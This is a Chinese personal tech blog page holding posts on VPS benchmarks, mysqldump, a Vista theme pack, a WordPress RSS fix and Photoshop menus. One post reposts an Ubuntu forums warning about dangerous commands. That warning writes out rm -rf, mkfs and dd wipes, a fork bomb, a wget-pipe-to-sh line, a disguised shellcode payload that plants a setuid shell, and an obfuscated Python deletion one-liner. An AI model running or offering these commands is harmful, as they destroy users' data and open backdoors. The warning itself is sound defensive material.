You're almost as happy as you think you are.
电脑网络
电脑网络
又试用了一家国内的linux vps,不过仍然是个杯具
Jun 6th
刚刚使用过另一家国内还算知名美橙互联的linux vps不过使用的感受我只能告诉是个杯具,首先只能安装centos5.2 32位,这个也就算了,我刚刚用unixbench测试了一下,再一次让我大跌眼镜,测试结果如下:
BYTE UNIX Benchmarks (Version 4.1-wht.2)
System — Linux usidc 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux
8062392 4218036 3428204 56% /
Start Benchmark Run: Mon Jun 7 03:44:09 CST 2010
03:44:09 up 1 day, 6:59, 2 users, load average: 0.13, 0.03, 0.01
End Benchmark Run: Mon Jun 7 03:58:42 CST 2010
03:58:42 up 1 day, 7:14, 2 users, load average: 14.00, 6.41, 3.21
INDEX VALUES
TEST BASELINE RESULT INDEX
Dhrystone 2 using register variables 376783.7 1292317.0 34.3
Double-Precision Whetstone 83.1 967.3 116.4
Execl Throughput 188.3 269.9 14.3
File Copy 1024 bufsize 2000 maxblocks 2672.0 23439.0 87.7
File Copy 256 bufsize 500 maxblocks 1077.0 7801.0 72.4
File Read 4096 bufsize 8000 maxblocks 15382.0 137626.0 89.5
Pipe-based Context Switching 15448.6 7124.4 4.6
Pipe Throughput 111814.6 187122.7 16.7
Process Creation 569.3 495.7 8.7
Shell Scripts (8 concurrent) 44.8 34.8 7.8
System Call Overhead 114433.5 159042.6 13.9
=========
FINAL SCORE 25.0
而同等配置和价格的国外我用过的vps得分基本在230左右,这个是多么大的一个差距,十几倍啊,之前用过国内北京算是vps做得非常专业的瑞豪开源的vps,得分也只是区区70几分,看来国内vps这块的技术真的跟人家相差了这么的远。
推荐一款模拟电脑蓝屏重启的屏保
Oct 28th
推荐一款模拟电脑重启的屏保,可惜是LENOVO,而且是1024×768,宽屏的效果大打折扣,不过冷不丁的一看还真以为电脑中毒了蓝屏重启了,可以起到恶搞的效果,^_^
mysqldump数据库操作命令
Jun 30th
数据导出:
mysqldump –opt -u user -p -h hostname DB > file.sql (此处opt前面有两个-)
数据导入:
mysql -u user -p DB < file.sql
导出时设定编码为UTF-8:
mysqldump –default-character-set=utf-8 –opt -u user -p -h hostname DB > file.sql
请不要执行如下类似命令–Ubuntu危险命令(转贴)
Dec 4th
最近ubuntu官方论坛发出了官方通告, 列出下列危险命令, 告诫用户不要执行, 并对随意张贴下列命令的帐号处以直接封号的处罚.
再次声明, 请不要执行下列或类似下列的命令, 这些命令将会对你的计算机造成严重影响.
请不要以什么给普通用户教训来提高他们的安全意识等等托词来为自己不怀好意的行为作为借口!
http://ubuntuforums.org/announcement.php?a=54
Delete all files, delete current directory, and delete visible files in current directory. It’s quite obvious why these commands can be dangerous to execute.
下列命令会删除所有文件, 删除当前目录, 删除当前目录下面的文件.
| 代码: |
| rm -rf / rm -rf . rm -rf * |
Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem.
下列命令会摧毁整个文件系统, 重建分区.
| 代码: |
| mkfs mkfs.ext3 mkfs.anything |
Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data:
下列命令会清空整个硬盘.
| 代码: |
| any_command > /dev/sda dd if=something of=/dev/sda |
Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.
In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes)
下列命令会启动大量进程, 导致系统无法响应, 只能硬重启机器, 可能会导致数据损害.
| 代码: |
| |
In Perl
| 代码: |
| fork while fork |
Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory
Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it’s highly compressed data and will inflate to hundreds of GB’s, filling your hard drive. You should not touch data from an untrusted source
Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses — benign or malevolent. Do not execute code from people you don’t trust
不要执行你不信任的人提供的shell脚本, 里面可能含有危险的命令和脚本, 不要随意解压别人提供的压缩包, 也许看起来很小, 结果解压出来会塞满整个硬盘.
| 代码: |
| wget http://some_place/some_file sh ./some_file |
| 代码: |
| wget http://some_place/some_file -O- | sh |
Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author’s homepage, an Ubuntu address).
A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload:
不要编译运行别人提供的不明代码
| 代码: |
| char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”; |
To the new or even lightly experienced computer user, this looks like the “hex code gibberish stuff” that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don’t need to be reading this announcement. Otherwise, remember that these things can come in very novel forms — watch out.
Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not!
For example, 30 seconds in Python yields something like this:
| 代码: |
| python -c ‘import os; os.system(“”.join([chr(ord(i)-1) for i in "sn!.sg!+"]))’ |
Where “sn!.sg!+” is simply rm -rf * shifted a character up. Of course this is a silly example — I wouldn’t expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong.
Vista Transformation Pack 8.0 发布
Nov 29th
这是一套能够将Windows XP/Server 2003操作系统,完美地模拟成Windows Vista界面的软件,今日发布了最新版本8.0,现在文件已经上传到了各个网盘,喜欢把XP美化成Vista的朋友们可以考虑使用这款软件.
国内下载地址: http://disk.dongruicn.com/vtp8.rar
Changes in Version 8.0
-Added CPU Speed information in Welcome Center
-Added saving setup information file to save setup configuration for later uses with unattended transformation support
-Added installation background
-Added “System optimized” in Setup Configuration to configure the user account corresponding to machine’s spec
-Added TrueTransparency 0.8.5 (Glass border with ported AeroStyle skin)
-Added WinFlip 0.42 (Vista 3DFlip)
-Fixed KB925902 hotfix issues with file processing animation
-Fixed Media Center program execution error
-Fixed rebuilding icon cache bug on non-current users during the processes
-Fixed Styler’s installation checking bug (always set toolbar to styler mode when possible)
-Fixed failing to apply Vista screensaver
-Fixed program name in Add/Remove Programs
-Fixed subscribing Windows X’s shrine to be default homepage bug in Welcome Center
-Fixed visualtooltip’s advanced configuration bug
-Fixed WindowBlinds 6 skin installation compatibility
-Moved hotfix warning to user guide file to prevent confusion
-Re-arranged welcome dialog for richer information
-Replaced Extras in Welcome Center with Community link to forum
-Removed configuring user account’s status report
-Removed obsolete dialogs (WindowBlinds warning, Before transformation, Donation, FAQ and Q&A)
-Removed Vista Live Messenger 8.1 skin
-Updated Setup Configuration in Welcome Center to cover on everything
-Updated setup transformation to pre-configure current user account before finishing the transformation
-Updated theming engine configuration
-Updated Vista Sidebar to version 2.3 Lite
-Updated Vista Sidebar user account configuration in Welcome Center
-Updated ViStart to build 2661
-Updated ViOrb to version 2.0
-Updated VisualTooltip to version 2.2
-Updated Welcome Center to pre-configure user account with system optimized option on the first run in that user account
Main Mirror:
RapidShare
Other Mirrors:
Savefile.com
Wiki Upload
- More Mirrors Coming -
MD5 Hash (of RAR): BAE9BE5A5A6ABC5DBE477530F9734E7E
MD5 Hash (of EXE): 3FBD59F37BDFEC3CBC0C4776EE9B520F
If it doesn’t match with your downloaded file, it might an version that contains bugs or it may be infected with malware.
推荐一款潜力型P2P网络电视—nslive
Nov 26th
linux版本下载地址: rpm包:nslive-0.1.0.rpmtar.gz包:nslive-0.1.0.tar.gz
xine版本安装包: nslive-xine-0.1.0.tar.gz(解决部分系统mplayer退出问题,使用Everest的, 请下载此版本)(详细安装方法:http://andycl98.blog.163.com/blog/static/7433048200710195132375/edit/)
WordPress 首页摘要而RSS全文输出解决方案(转载)
Nov 16th
但是WordPress有个问题,一旦使用More,在RSS中 将会输出文章摘要而不是全文内容了。我曾经也承诺过,除了我操作失误,否则Blog内不会出现摘要输出 以及 付费评论这2大博客的毒瘤。为了这个,询问了朋友和查阅Google,最后找到解决办法 一劳永逸的方法,具体办法如下:
1. 首先在文章中 使用More的代码,插入到你需要的位置;
2. 然后,修改WordPress 里面wp-includes文件夹中的post-template.php文件,使用任何代码编辑器打开,在里面找到以下If 代码:
if( preg_match(’/<!–more(.*?)?–>/’, $content, $matches) ){
$content = explode($matches[0], $content, 2);
if ( !empty($matches[1]) && !empty($more_link_text) )
$more_link_text = strip_tags(wp_kses_no_null(trim($matches[1])));
}
我们需要修改的就第一句话:
if ( preg_match(’/<!–more(.*?)?–>/’, $content, $matches ) ){
修改为(粗体字部分):
if ( preg_match(’/<!–more(.*?)?–>/’, $content, $matches) && !is_feed() ){
如此一来,WordPress的More功能就不会影响到我们RSS的输出了。
photoshop cs3 菜单选项中英文对照
Nov 15th
photoshop cs3 混合模式选项中英文对照
一、File<文件>
1.New<新建>
2.Open<打开>
3.Open As<打开为>
4.Open Recent<最近打开文件>
5.Close<关闭>
6.Save<存储>
7.Save As<存储为>
8.Save for Web<存储为Web所用格式>
9.Revert<恢复>
10.Place<置入>
11.Import<输入>
<1>PDF Image
<2>Annotations<注释>
12.Export<输出>
13.Manage Workflow<管理工作流程>
<1>Check In<登记>
<2>Undo Check Out<还原注销>
<3>Upload To Server<上载到服务器>
<4>Add To Workflow<添加到工作流程>
<5>Open From Workflow<从工作流程打开> More >


